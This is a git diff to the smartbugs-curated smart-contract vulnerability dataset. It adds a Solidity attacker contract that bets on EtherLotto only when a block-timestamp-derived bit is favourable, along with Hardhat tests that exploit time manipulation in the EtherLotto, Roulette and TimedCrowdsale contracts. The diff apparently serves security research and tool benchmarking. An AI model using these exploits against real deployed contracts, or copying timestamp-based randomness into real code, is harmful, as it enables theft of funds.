diff --git a/smartbugs-curated/0.4.x/contracts/time_manipulation/ether_lotto_attack.sol b/smartbugs-curated/0.4.x/contracts/time_manipulation/ether_lotto_attack.sol new file mode 100644 index 0000000..26ab7ba --- /dev/null +++ b/smartbugs-curated/0.4.x/contracts/time_manipulation/ether_lotto_attack.sol @@ -0,0 +1,23 @@ +pragma solidity ^0.4.15; + +import "../dataset/time_manipulation/ether_lotto.sol"; + +contract EtherLottoAttacker { + EtherLotto public target; + + function EtherLottoAttacker(address _target) public { + target = EtherLotto(_target); + } + + function play() payable returns (bool) { + uint random = uint(sha3(block.timestamp)) % 2; + if (random == 0) { + target.play.value(msg.value)(); + return true; + } + msg.sender.transfer(msg.value); + return false; + } + + function() payable {} +} \ No newline at end of file diff --git a/smartbugs-curated/0.4.x/hardhat.config.js b/smartbugs-curated/0.4.x/hardhat.config.js index b7f1a62..90c3bd4 100644 --- a/smartbugs-curated/0.4.x/hardhat.config.js +++ b/smartbugs-curated/0.4.x/hardhat.config.js @@ -16,6 +16,7 @@ module.exports = { }, networks: { hardhat: { + initialDate: "2018-12-31 11:59:00 PM", hardfork: "shanghai", } } diff --git a/smartbugs-curated/0.4.x/test/other/open_address_lottery.js b/smartbugs-curated/0.4.x/test/other/open_address_lottery_test.js similarity index 100% rename from smartbugs-curated/0.4.x/test/other/open_address_lottery.js rename to smartbugs-curated/0.4.x/test/other/open_address_lottery_test.js diff --git a/smartbugs-curated/0.4.x/test/time_manipulation/ether_lotto_test.js b/smartbugs-curated/0.4.x/test/time_manipulation/ether_lotto_test.js new file mode 100644 index 0000000..e10c4d3 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/time_manipulation/ether_lotto_test.js @@ -0,0 +1,49 @@ +const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe('attack time_manipulation/ether_lotto.sol', function () { + let owner, sig1; + async function deployContracts() { + [owner, sig1] = await ethers.getSigners(); + + const EtherLotto = await ethers.getContractFactory('contracts/dataset/time_manipulation/ether_lotto.sol:EtherLotto'); + const victim = await EtherLotto.connect(owner).deploy(); + + const EtherLottoAttacker = await ethers.getContractFactory('contracts/time_manipulation/ether_lotto_attack.sol:EtherLottoAttacker'); + const attacker = await EtherLottoAttacker.deploy(victim.target); + await attacker.waitForDeployment(); + + return {victim, attacker}; + } + + + it('exploit time manipulation vulnerability', async function () { + const {victim, attacker} = await loadFixture(deployContracts); + + const victimBalanceBefore = await ethers.provider.getBalance(victim.target); + expect(victimBalanceBefore).to.equal(0); + + const attackerBalanceBefore = await ethers.provider.getBalance(attacker.target); + expect(attackerBalanceBefore).to.equal(0); + + const sigBalance = await ethers.provider.getBalance(sig1.address); + const tx = await victim.connect(sig1).play({value: 10}); + const receipt = await tx.wait(); + const sigBalanceAfter = await ethers.provider.getBalance(sig1.address); + const net = sigBalanceAfter - sigBalance + receipt.gasUsed * receipt.gasPrice; + + let attackerBalance = attackerBalanceBefore; + + while (attackerBalance == 0) { + await attacker.play({value: 10}); + attackerBalance = await ethers.provider.getBalance(attacker.target); + } + if (net == -10n) { + expect(attackerBalance).to.equal(19); + } + else { + expect(attackerBalance).to.equal(9); + } + + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.4.x/test/time_manipulation/roulette_test.js b/smartbugs-curated/0.4.x/test/time_manipulation/roulette_test.js new file mode 100644 index 0000000..e1ed145 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/time_manipulation/roulette_test.js @@ -0,0 +1,43 @@ +const { loadFixture, time } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe('attack time_manipulation/roulette.sol', function () { + let owner, sig1, amount; + async function deployContracts() { + [owner, sig1] = await ethers.getSigners(); + + amount = ethers.parseEther("10"); + + const Roulette = await ethers.getContractFactory('contracts/dataset/time_manipulation/roulette.sol:Roulette'); + const victim = await Roulette.connect(owner).deploy({value: amount}); + + return {victim}; + } + + + it('exploit time manipulation vulnerability', async function () { + const {victim} = await loadFixture(deployContracts); + const victimBalanceBefore = await ethers.provider.getBalance(victim.target); + expect(victimBalanceBefore).to.equal(amount); + + const sig1BalanceBefore = await ethers.provider.getBalance(sig1.address); + + const blockBefore = await ethers.provider.getBlock(); + const timestampBefore = blockBefore.timestamp; + + + const next = timestampBefore + 15 -(timestampBefore % 15); + + await time.setNextBlockTimestamp(next); + + const tx = await sig1.sendTransaction({ + to: victim.target, + value: amount + }); + + const receipt = await tx.wait(); + + const sig1Balance = await ethers.provider.getBalance(sig1.address); + expect(sig1Balance).to.equal(sig1BalanceBefore - receipt.gasUsed * receipt.gasPrice + amount); + }); + }); \ No newline at end of file diff --git a/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js b/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js new file mode 100644 index 0000000..a01fd38 --- /dev/null +++ b/smartbugs-curated/0.4.x/test/time_manipulation/timed_crowdsale_test.js @@ -0,0 +1,27 @@ +const { loadFixture, time, mine } = require('@nomicfoundation/hardhat-network-helpers'); +const { expect } = require('chai'); + +describe('attack time_manipulation/timed_crowdsale.sol', function () { + async function deployContracts() { + const TimedCrowdsale = await ethers.getContractFactory('contracts/dataset/time_manipulation/timed_crowdsale.sol:TimedCrowdsale'); + const victim = await TimedCrowdsale.deploy(); + + return {victim}; + } + + + it('exploit time manipulation vulnerability', async function () { + await hre.network.provider.send("hardhat_reset"); + const {victim} = await loadFixture(deployContracts); + + const saleEndTimestamp = 1546300800; + + // // Fast forward time to January 1, 2019 (just after sale end) + await time.setNextBlockTimestamp(saleEndTimestamp); + await mine(1); + + // // The sale should now be finished due to the time manipulation + const saleFinished = await victim.isSaleFinished(); + expect(saleFinished).to.be.true; + }); + }); \ No newline at end of file